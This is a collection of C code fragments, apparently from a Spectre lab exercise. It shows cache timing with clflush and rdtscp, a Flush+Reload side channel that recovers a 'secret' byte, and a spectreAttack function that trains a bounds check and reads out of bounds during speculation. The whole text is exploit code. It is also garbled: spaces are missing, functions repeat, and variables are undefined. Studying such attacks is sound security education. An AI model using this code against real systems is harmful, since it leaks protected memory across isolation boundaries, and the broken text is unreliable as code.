// 40960 items in total;every item of array[] is 1B uint8_tarray[10*4096];
intmain(int argc, constchar **argv) { int junk=0; // tell the compiler to put time1,time2 into register if possible registeruint64_t time1, time2; // tell the compiler not to do any optimization on *addr,do not put it into cachae or register volatileuint8_t *addr; int i; // Initialize the array for(i=0; i<10; i++) array[i*4096]=1; // FLUSH the array from the CPU cache for(i=0; i<10; i++) _mm_clflush(&array[i*4096]); // Access some of the array items array[3*4096] = 100; array[7*4096] = 200; // calcula the time it takes to access each items for(i=0; i<10; i++) { addr = &array[i*4096]; time1 = __rdtscp(&junk); // access time junk = *addr; time2 = __rdtscp(&junk) - time1; printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2); } return0; }
uint8_tarray[256*4096]; int temp; unsignedchar secret = 94; /* cache hit time threshold assumed*/ #define CACHE_HIT_THRESHOLD (80) #define DELTA 1024
voidvictim() { temp = array[secret*4096 + DELTA]; } voidflushSideChannel() { int i; // Write to array to bring it to RAM to prevent Copy-on-write for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1; //flush the values of the array from cache for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }
voidreloadSideChannel() { int junk=0; registeruint64_t time1, time2; volatileuint8_t *addr; int i; for(i = 0; i < 256; i++){ addr = &array[i*4096 + DELTA]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= CACHE_HIT_THRESHOLD){ printf("array[%d*4096 + %d] is in cache.\n", i, DELTA); printf("The Secret = %d.\n",i); } } }
// Sandbox Function uint8_trestrictedAccess(size_t x) { if (x <= bound_upper && x >= bound_lower) { return buffer[x]; } else { return0; } }
voidflushSideChannel() { int i; // Write to array to bring it to RAM to prevent Copy-on-write for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1; //flush the values of the array from cache for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }
voidreloadSideChannel() { int junk=0; registeruint64_t time1, time2; volatileuint8_t *addr; int i; for(i = 0; i < 256; i++){ addr = &array[i*4096 + DELTA]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= CACHE_HIT_THRESHOLD){ printf("array[%d*4096 + %d] is in cache.\n", i, DELTA); printf("The Secret = %d(%c).\n",i, i); } } } voidspectreAttack(size_t index_beyond) { int i; uint8_t s; volatileint z; // Train the CPU to take the true branch inside restrictedAccess(). for (i = 0; i < 10; i++) { restrictedAccess(i); } // Flush bound_upper, bound_lower, and array[] from the cache. _mm_clflush(&bound_upper); _mm_clflush(&bound_lower); for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); } for (z = 0; z < 100; z++) { } // Ask restrictedAccess() to return the secret in out-of-order execution. s = restrictedAccess(index_beyond); array[s*4096 + DELTA] += 88; }